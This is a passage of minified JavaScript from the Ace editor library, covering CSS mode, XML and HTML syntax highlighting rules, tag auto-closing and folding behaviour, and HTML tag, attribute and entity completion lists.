s=n.getCursorPosition(),o=r.doc.getLine(s.row),u=o.substring(s.column,s.column+1);if(u===\";\")return{text:\"\",selection:[1,1]}}})};r.inherits(u,s),t.CssBehaviour=u}),define(\"ace/mode/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/css_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/worker/worker_client\",\"ace/mode/css_completions\",\"ace/mode/behaviour/css\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../worker/worker_client\").WorkerClient,a=e(\"./css_completions\").CssCompletions,f=e(\"./behaviour/css\").CssBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.$completer=new a,this.foldingRules=new l};r.inherits(c,i),function(){this.foldingRules=\"cStyle\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e).tokens;if(i.length&&i[i.length-1].type==\"comment\")return r;var s=t.match(/^.*\\{\\s*$/);return s&&(r+=n),r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){var t=new u([\"ace\"],\"ace/mode/css_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/css\"}.call(c.prototype),t.Mode=c}),define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\",regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken:\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),define(\"ace/mode/html_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/css_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=i.createMap({a:\"anchor\",button:\"form\",form:\"form\",img:\"image\",input:\"form\",label:\"form\",option:\"form\",script:\"script\",select:\"form\",textarea:\"form\",style:\"style\",table:\"table\",tbody:\"table\",td:\"table\",tfoot:\"table\",th:\"table\",tr:\"table\"}),f=function(){u.call(this),this.addRules({attributes:[{include:\"tag_whitespace\"},{token:\"entity.other.attribute-name.xml\",regex:\"[-_a-zA-Z0-9:.]+\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\",push:[{include:\"tag_whitespace\"},{token:\"string.unquoted.attribute-value.html\",regex:\"[^<>='\\\"`\\\\s]+\",next:\"pop\"},{token:\"empty\",regex:\"\",next:\"pop\"}]},{include:\"attribute_value\"}],tag:[{token:function(e,t){var n=a[t];return[\"meta.tag.punctuation.\"+(e==\"<\"?\"\":\"end-\")+\"tag-open.xml\",\"meta.tag\"+(n?\".\"+n:\"\")+\".tag-name.xml\"]},regex:\"(</?)([-_a-zA-Z0-9:.]+)\",next:\"tag_stuff\"}],tag_stuff:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}),this.embedTagRules(s,\"css-\",\"style\"),this.embedTagRules((new o({noJSX:!0})).getRules(),\"js-\",\"script\"),this.constructor===f&&this.normalizeRules()};r.inherits(f,u),t.HtmlHighlightRules=f}),define(\"ace/mode/behaviour/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";function u(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),a=function(){this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){var o=i,a=r.doc.getTextRange(n.getSelectionRange());if(a!==\"\"&&a!==\"'\"&&a!='\"'&&n.getWrapBehavioursEnabled())return{text:o+a+o,selection:!1};var f=n.getCursorPosition(),l=r.doc.getLine(f.row),c=l.substring(f.column,f.column+1),h=new s(r,f.row,f.column),p=h.getCurrentToken();if(c==o&&(u(p,\"attribute-value\")||u(p,\"string\")))return{text:\"\",selection:[1,1]};p||(p=h.stepBackward());if(!p)return;while(u(p,\"tag-whitespace\")||u(p,\"whitespace\"))p=h.stepBackward();var d=!c||c.match(/\\s/);if(u(p,\"attribute-equals\")&&(d||c==\">\")||u(p,\"decl-attribute-equals\")&&(d||c==\"?\"))return{text:o+o,selection:[1,1]}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}}),this.add(\"autoclosing\",\"insertion\",function(e,t,n,r,i){if(i==\">\"){var o=n.getCursorPosition(),a=new s(r,o.row,o.column),f=a.getCurrentToken()||a.stepBackward();if(!f||!(u(f,\"tag-name\")||u(f,\"tag-whitespace\")||u(f,\"attribute-name\")||u(f,\"attribute-equals\")||u(f,\"attribute-value\")))return;if(u(f,\"reference.attribute-value\"))return;if(u(f,\"attribute-value\")){var l=f.value.charAt(0);if(l=='\"'||l==\"'\"){var c=f.value.charAt(f.value.length-1),h=a.getCurrentTokenColumn()+f.value.length;if(h>o.column||h==o.column&&l!=c)return}}while(!u(f,\"tag-name\"))f=a.stepBackward();var p=a.getCurrentTokenRow(),d=a.getCurrentTokenColumn();if(u(a.stepBackward(),\"end-tag-open\"))return;var v=f.value;p==o.row&&(v=v.substring(0,o.column-d));if(this.voidElements.hasOwnProperty(v.toLowerCase()))return;return{text:\"></\"+v+\">\",selection:[1,1]}}}),this.add(\"autoindent\",\"insertion\",function(e,t,n,r,i){if(i==\"\\n\"){var o=n.getCursorPosition(),u=r.getLine(o.row),a=new s(r,o.row,o.column),f=a.getCurrentToken();if(f&&f.type.indexOf(\"tag-close\")!==-1){if(f.value==\"/>\")return;while(f&&f.type.indexOf(\"tag-name\")===-1)f=a.stepBackward();if(!f)return;var l=f.value,c=a.getCurrentTokenRow();f=a.stepBackward();if(!f||f.type.indexOf(\"end-tag\")!==-1)return;if(this.voidElements&&!this.voidElements[l]){var h=r.getTokenAt(o.row,o.column+1),u=r.getLine(c),p=this.$getIndent(u),d=p+r.getTabString();return h&&h.value===\"</\"?{text:\"\\n\"+d+\"\\n\"+p,selection:[1,d.length,1,d.length]}:{text:\"\\n\"+d}}}}})};r.inherits(a,i),t.XmlBehaviour=a}),define(\"ace/mode/folding/mixed\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=t.FoldMode=function(e,t){this.defaultMode=e,this.subModes=t};r.inherits(s,i),function(){this.$getMode=function(e){typeof e!=\"string\"&&(e=e[0]);for(var t in this.subModes)if(e.indexOf(t)===0)return this.subModes[t];return null},this.$tryMode=function(e,t,n,r){var i=this.$getMode(e);return i?i.getFoldWidget(t,n,r):\"\"},this.getFoldWidget=function(e,t,n){return this.$tryMode(e.getState(n-1),e,t,n)||this.$tryMode(e.getState(n),e,t,n)||this.defaultMode.getFoldWidget(e,t,n)},this.getFoldWidgetRange=function(e,t,n){var r=this.$getMode(e.getState(n-1));if(!r||!r.getFoldWidget(e,t,n))r=this.$getMode(e.getState(n));if(!r||!r.getFoldWidget(e,t,n))r=this.defaultMode;return r.getFoldWidgetRange(e,t,n)}}.call(s.prototype)}),define(\"ace/mode/folding/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/range\",\"ace/mode/folding/fold_mode\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function l(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../../lib/lang\"),s=e(\"../../range\").Range,o=e(\"./fold_mode\").FoldMode,u=e(\"../../token_iterator\").TokenIterator,a=t.FoldMode=function(e,t){o.call(this),this.voidElements=e||{},this.optionalEndTags=r.mixin({},this.voidElements),t&&r.mixin(this.optionalEndTags,t)};r.inherits(a,o);var f=function(){this.tagName=\"\",this.closing=!1,this.selfClosing=!1,this.start={row:0,column:0},this.end={row:0,column:0}};(function(){this.getFoldWidget=function(e,t,n){var r=this._getFirstTagInLine(e,n);return r?r.closing||!r.tagName&&r.selfClosing?t==\"markbeginend\"?\"end\":\"\":!r.tagName||r.selfClosing||this.voidElements.hasOwnProperty(r.tagName.toLowerCase())?\"\":this._findEndTagInLine(e,n,r.tagName,r.end.column)?\"\":\"start\":\"\"},this._getFirstTagInLine=function(e,t){var n=e.getTokens(t),r=new f;for(var i=0;i<n.length;i++){var s=n[i];if(l(s,\"tag-open\")){r.end.column=r.start.column+s.value.length,r.closing=l(s,\"end-tag-open\"),s=n[++i];if(!s)return null;r.tagName=s.value,r.end.column+=s.value.length;for(i++;i<n.length;i++){s=n[i],r.end.column+=s.value.length;if(l(s,\"tag-close\")){r.selfClosing=s.value==\"/>\";break}}return r}if(l(s,\"tag-close\"))return r.selfClosing=s.value==\"/>\",r;r.start.column+=s.value.length}return null},this._findEndTagInLine=function(e,t,n,r){var i=e.getTokens(t),s=0;for(var o=0;o<i.length;o++){var u=i[o];s+=u.value.length;if(s<r)continue;if(l(u,\"end-tag-open\")){u=i[o+1];if(u&&u.value==n)return!0}}return!1},this._readTagForward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do if(l(t,\"tag-open\"))n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn();else if(l(t,\"tag-name\"))n.tagName=t.value;else if(l(t,\"tag-close\"))return n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length,e.stepForward(),n;while(t=e.stepForward());return null},this._readTagBackward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do{if(l(t,\"tag-open\"))return n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn(),e.stepBackward(),n;l(t,\"tag-name\")?n.tagName=t.value:l(t,\"tag-close\")&&(n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length)}while(t=e.stepBackward());return null},this._pop=function(e,t){while(e.length){var n=e[e.length-1];if(!t||n.tagName==t.tagName)return e.pop();if(this.optionalEndTags.hasOwnProperty(n.tagName)){e.pop();continue}return null}},this.getFoldWidgetRange=function(e,t,n){var r=this._getFirstTagInLine(e,n);if(!r)return null;var i=r.closing||r.selfClosing,o=[],a;if(!i){var f=new u(e,n,r.start.column),l={row:n,column:r.start.column+r.tagName.length+2};r.start.row==r.end.row&&(l.column=r.end.column);while(a=this._readTagForward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(a.closing){this._pop(o,a);if(o.length==0)return s.fromPoints(l,a.start)}else o.push(a)}}else{var f=new u(e,n,r.end.column),c={row:n,column:r.start.column};while(a=this._readTagBackward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(!a.closing){this._pop(o,a);if(o.length==0)return a.start.column+=a.tagName.length+2,a.start.row==a.end.row&&a.start.column<a.end.column&&(a.start.column=a.end.column),s.fromPoints(a.start,c)}else o.push(a)}}}}).call(a.prototype)}),define(\"ace/mode/folding/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/mixed\",\"ace/mode/folding/xml\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./mixed\").FoldMode,s=e(\"./xml\").FoldMode,o=e(\"./cstyle\").FoldMode,u=t.FoldMode=function(e,t){i.call(this,new s(e,t),{\"js-\":new o,\"css-\":new o})};r.inherits(u,i)}),define(\"ace/mode/html_completions\",[\"require\",\"exports\",\"module\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function f(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}function l(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"tag-name\"))i=n.stepBackward();if(i)return i.value}function c(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"attribute-name\"))i=n.stepBackward();if(i)return i.value}var r=e(\"../token_iterator\").TokenIterator,i=[\"accesskey\",\"class\",\"contenteditable\",\"contextmenu\",\"dir\",\"draggable\",\"dropzone\",\"hidden\",\"id\",\"inert\",\"itemid\",\"itemprop\",\"itemref\",\"itemscope\",\"itemtype\",\"lang\",\"spellcheck\",\"style\",\"tabindex\",\"title\",\"translate\"],s=[\"onabort\",\"onblur\",\"oncancel\",\"oncanplay\",\"oncanplaythrough\",\"onchange\",\"onclick\",\"onclose\",\"oncontextmenu\",\"oncuechange\",\"ondblclick\",\"ondrag\",\"ondragend\",\"ondragenter\",\"ondragleave\",\"ondragover\",\"ondragstart\",\"ondrop\",\"ondurationchange\",\"onemptied\",\"onended\",\"onerror\",\"onfocus\",\"oninput\",\"oninvalid\",\"onkeydown\",\"onkeypress\",\"onkeyup\",\"onload\",\"onloadeddata\",\"onloadedmetadata\",\"onloadstart\",\"onmousedown\",\"onmousemove\",\"onmouseout\",\"onmouseover\",\"onmouseup\",\"onmousewheel\",\"onpause\",\"onplay\",\"onplaying\",\"onprogress\",\"onratechange\",\"onreset\",\"onscroll\",\"onseeked\",\"onseeking\",\"onselect\",\"onshow\",\"onstalled\",\"onsubmit\",\"onsuspend\",\"ontimeupdate\",\"onvolumechange\",\"onwaiting\"],o=i.concat(s),u={html:{manifest:1},head:{},title:{},base:{href:1,target:1},link:{href:1,hreflang:1,rel:{stylesheet:1,icon:1},media:{all:1,screen:1,print:1},type:{\"text/css\":1,\"image/png\":1,\"image/jpeg\":1,\"image/gif\":1},sizes:1},meta:{\"http-equiv\":{\"content-type\":1},name:{description:1,keywords:1},content:{\"text/html; charset=UTF-8\":1},charset:1},style:{type:1,media:{all:1,screen:1,print:1},scoped:1},script:{charset:1,type:{\"text/javascript\":1},src:1,defer:1,async:1},noscript:{href:1},body:{onafterprint:1,onbeforeprint:1,onbeforeunload:1,onhashchange:1,onmessage:1,onoffline:1,onpopstate:1,onredo:1,onresize:1,onstorage:1,onundo:1,onunload:1},section:{},nav:{},article:{pubdate:1},aside:{},h1:{},h2:{},h3:{},h4:{},h5:{},h6:{},header:{},footer:{},address:{},main:{},p:{},hr:{},pre:{},blockquote:{cite:1},ol:{start:1,reversed:1},ul:{},li:{value:1},dl:{},dt:{},dd:{},figure:{},figcaption:{},div:{},a:{href:1,target:{_blank:1,top:1},ping:1,rel:{nofollow:1,alternate:1,author:1,bookmark:1,help:1,license:1,next:1,noreferrer:1,prefetch:1,prev:1,search:1,tag:1},media:1,hreflang:1,type:1},em:{},strong:{},small:{},s:{},cite:{},q:{cite:1},dfn:{},abbr:{},data:{},time:{datetime:1},code:{},\"var\":{},samp:{},kbd:{},sub:{},sup:{},i:{},b:{},u:{},mark:{},ruby:{},rt:{},rp:{},bdi:{},bdo:{},span:{},br:{},wbr:{},ins:{cite:1,datetime:1},del:{cite:1,datetime:1},img:{alt:1,src:1,height:1,width:1,usemap:1,ismap:1},iframe:{name:1,src:1,height:1,width:1,sandbox:{\"allow-same-origin\":1,\"allow-top-navigation\":1,\"allow-forms\":1,\"allow-scripts\":1},seamless:{seamless:1}},embed:{src:1,height:1,width:1,type:1},object:{param:1,data:1,type:1,height:1,width:1,usemap:1,name:1,form:1,classid:1},param:{name:1,value:1},video:{src:1,autobuffer:1,autoplay:{autoplay:1},loop:{loop:1},controls:{controls:1},width:1,height:1,poster:1,muted:{muted:1},preload:{auto:1,metadata:1,none:1}},audio:{src:1,autobuffer:1,autoplay:{autoplay:1},loop:{loop:1},controls:{controls:1},muted:{muted:1},preload:{auto:1,metadata:1,none:1}},source:{src:1,type:1,media:1},track:{kind:1,src:1,srclang:1,label:1,\"default\":1},canvas:{width:1,height:1},map:{name:1},area:{shape:1,coords:1,href:1,hreflang:1,alt:1,target:1,media:1,rel:1,ping:1,type:1},svg:{},math:{},table:{summary:1},caption:{},colgroup:{span:1},col:{span:1},tbody:{},thead:{},tfoot:{},tr:{},td:{headers:1,rowspan:1,colspan:1},th:{headers:1,rowspan:1,colspan:1,scope:1},form:{\"accept-charset\":1,action:1,autocomplete:1,enctype:{\"multipart/form-data\":1,\"application/x-www-form-urlencoded\":1},method:{get:1,post:1},name:1,novalidate:1,target:{_blank:1,top:1}},fieldset:{disabled:1,form:1,name:1},legend:{},label:{form:1,\"for\":1},input:{type:{text:1,password:1,hidden:1,checkbox:1,submit:1,radio:1,file:1,button:1,reset:1,image:31,color:1,date:1,datetime:1,\"datetime-local\":1,email:1,month:1,number:1,range:1,search:1,tel:1,time:1,url:1,week:1},accept:1,alt:1,autocomplete:{on:1,off:1},autofocus:{autofocus:1},checked:{checked:1},disabled:{disabled:1},form:1,formaction:1,formenctype:{\"application/x-www-form-urlencoded\":1,\"multipart/form-data\":1,\"text/plain\":1},formmethod:{get:1,post:1},formnovalidate:{formnovalidate:1},formtarget:{_blank:1,_self:1,_parent:1,_top:1},height:1,list:1,max:1,maxlength:1,min:1,multiple:{multiple:1},pattern:1,placeholder:1,readonly:{readonly:1},required:{required:1},size:1,src:1,step:1,width:1,files:1,value:1},button:{autofocus:1,disabled:{disabled:1},form:1,formaction:1,formenctype:1,formmethod:1,formnovalidate:1,formtarget:1,name:1,value:1,type:{button:1,submit:1}},select:{autofocus:1,disabled:1,form:1,multiple:{multiple:1},name:1,size:1,readonly:{readonly:1}},datalist:{},optgroup:{disabled:1,label:1},option:{disabled:1,selected:1,label:1,value:1},textarea:{autofocus:{autofocus:1},disabled:{disabled:1},form:1,maxlength:1,name:1,placeholder:1,readonly:{readonly:1},required:{required:1},rows:1,cols:1,wrap:{on:1,off:1,hard:1,soft:1}},keygen:{autofocus:1,challenge:{challenge:1},disabled:{disabled:1},form:1,keytype:{rsa:1,dsa:1,ec:1},name:1},output:{\"for\":1,form:1,name:1},progress:{value:1,max:1},meter:{value:1,min:1,max:1,low:1,high:1,optimum:1},details:{open:1},summary:{},command:{type:1,label:1,icon:1,disabled:1,checked:1,radiogroup:1,command:1},menu:{type:1,label:1},dialog:{open:1}},a=Object.keys(u),h=function(){};(function(){this.getCompletions=function(e,t,n,r){var i=t.getTokenAt(n.row,n.column);if(!i)return[];if(f(i,\"tag-name\")||f(i,\"tag-open\")||f(i,\"end-tag-open\"))return this.getTagCompletions(e,t,n,r);if(f(i,\"tag-whitespace\")||f(i,\"attribute-name\"))return this.getAttributeCompletions(e,t,n,r);if(f(i,\"attribute-value\"))return this.getAttributeValueCompletions(e,t,n,r);var s=t.getLine(n.row).substr(0,n.column);return/&[A-z]*$/i.test(s)?this.getHTMLEntityCompletions(e,t,n,r):[]},this.getTagCompletions=function(e,t,n,r){return a.map(function(e){return{value:e,meta:\"tag\",score:Number.MAX_VALUE}})},this.getAttributeCompletions=function(e,t,n,r){var i=l(t,n);if(!i)return[];var s=o;return i in u&&(s=s.concat(Object.keys(u[i]))),s.map(function(e){return{caption:e,snippet:e+'=\"$0\"',meta:\"attribute\",score:Number.MAX_VALUE}})},this.getAttributeValueCompletions=function(e,t,n,r){var i=l(t,n),s=c(t,n);if(!i)return[];var o=[];return i in u&&s in u[i]&&typeof u[i][s]==\"object\"&&(o=Object.keys(u[i][s])),o.map(function(e){return{caption:e,snippet:e,meta:\"attribute value\",score:Number.MAX_VALUE}})},this.getHTMLEntityCompletions=function(e,t,n,r){var i=[\"&Aacute;\",\"&aacute;\",\"&Acirc;\",\"&acirc;\",\"&acute;\",\"&AElig;\",\"&aelig;\",\"&Agrave;\",\"&agrave;\",\"&alefsym;\",\"&Alpha;\",\"&alpha;\",\"&amp;\",\"&and;\",\"&ang;\",\"&Aring;\",\"&aring;\",\"&asymp;\",\"&Atilde;\",\"&atilde;\",\"&Auml;\",\"&auml;\",\"&bdquo;\",\"&Beta;\",\"&beta;\",\"&brvbar;\",\"&bull;\",\"&cap;\",\"&Ccedil;\",\"&ccedil;\",\"&cedil;\",\"&cent;\",\"&Chi;\",\"&chi;\",\"&circ;\",\"&clubs;\",\"&cong;\",\"&copy;\",\"&crarr;\",\"&cup;\",\"&curren;\",\"&Dagger;\",\"&dagger;\",\"&dArr;\",\"&darr;\",\"&deg;\",\"&Delta;\",\"&delta;\",\"&diams;\",\"&divide;\",\"&Eacute;\",\"&eacute;\",\"&Ecirc;\",\"&ecirc;\",\"&Egrave;\",\"&egrave;\",\"&empty;\",\"&emsp;\",\"&ensp;\",\"&Epsilon;\",\"&epsilon;\",\"&equiv;\",\"&Eta;\",\"&eta;\",\"&ETH;\",\"&eth;\",\"&Euml;\",\"&euml;\",\"&euro;\",\"&exist;\",\"&fnof;\",\"&forall;\",\"&frac12;\",\"&frac14;\",\"&frac34;\",\"&frasl;\",\"&Gamma;\",\"&gamma;\",\"&ge;\",\"&gt;\",\"&hArr;\",\"&harr;\",\"&hearts;\",\"&hellip;\",\"&Iacute;\",\"&iacute;\",\"&Icirc;\",\"&icirc;\",\"&iexcl;\",\"&Igrave;\",\"&igrave;\",\"&image;\",\"&infin;\",\"&int;\",\"&Iota;\",\"&iota;\",\"&iquest;\",\"&isin;\",\"&Iuml;\",\"&iuml;\",\"&Kappa;\",\"&kappa;\",\"&Lambda;\",\"&lambda;\",\"&lang;\",\"&laquo;\",\"&lArr;\",\"&larr;\",\"&lceil;\",\"&ldquo;\",\"&le;\",\"&lfloor;\",\"&lowast;\",\"&loz;\",\"&lrm;\",\"&lsaquo;\",\"&lsquo;\",\"&lt;\",\"&macr;\",\"&mdash;\",\"&micro;\",\"&middot;\",\"&minus;\",\"&Mu;\",\"&mu;\",\"&nabla;\",\"&nbsp;\",\"&ndash;\",\"&ne;\",\"&ni;\",\"&not;\",\"&notin;\",\"&nsub;\",\"&Ntilde;\",\"&ntilde;\",\"&Nu;\",\"&nu;\",\"&Oacute;\",\"&oacute;\",\"&Ocirc;\",\"&ocirc;\",\"&OElig;\",\"&oelig;\",\"&Ograve;\",\"&ograve;\",\"&oline;\",\"&Omega;\",\"&omega;\",\"&Omicron;\",\"&omicron;\",\"&oplus;\",\"&or;\",\"&ordf;\",\"&ordm;\",\"&Oslash;\",\"&oslash;\",\"&Otilde;\",\"&otilde;\",\"&otimes;\",\"&Ouml;\",\"&ouml;\",\"&para;\",\"&part;\",\"&permil;\",\"&perp;\",\"&Phi;\",\"&phi;\",\"&Pi;\",\"&pi;\",\"&piv;\",\"&plusmn;\",\"&pound;\",\"&Prime;\",\"&prime;\",\"&prod;\",\"&prop;\",\"&Psi;\",\"&psi;\",\"&quot;\",\"&radic;\",\"&rang;\",\"&raquo;\",\"&rArr;\",\"&rarr;\",\"&rceil;\",\"&rdquo;\",\"&real;\",\"&reg;\",\"&rfloor;\",\"&Rho;\",\"&rho;\",\"&rlm;\",\"&rsaquo;\",\"&rsquo;\",\"&sbquo;\",\"&Scaron;\",\"&scaron;\",\"&sdot;\",\"&sect;\",\"&shy;\",\"&Sigma;\",\"&sigma;\",\"&sigmaf;\",\"&sim;\",\"&spades;\",\"&sub;\",\"&sube;\",\"&sum;\",\"&sup;\",\"&sup1;\",\"&sup2;\",\"&sup3;\",\"&supe;\",\"&szlig;\",\"&Tau;\",\"&tau;\",\"&there4;\",\"&Theta;\",\"&theta;\",\"&thetasym;\",\"&thinsp;\",\"&THORN;\",\"&thorn;\",\"&tilde;\",\"&times;\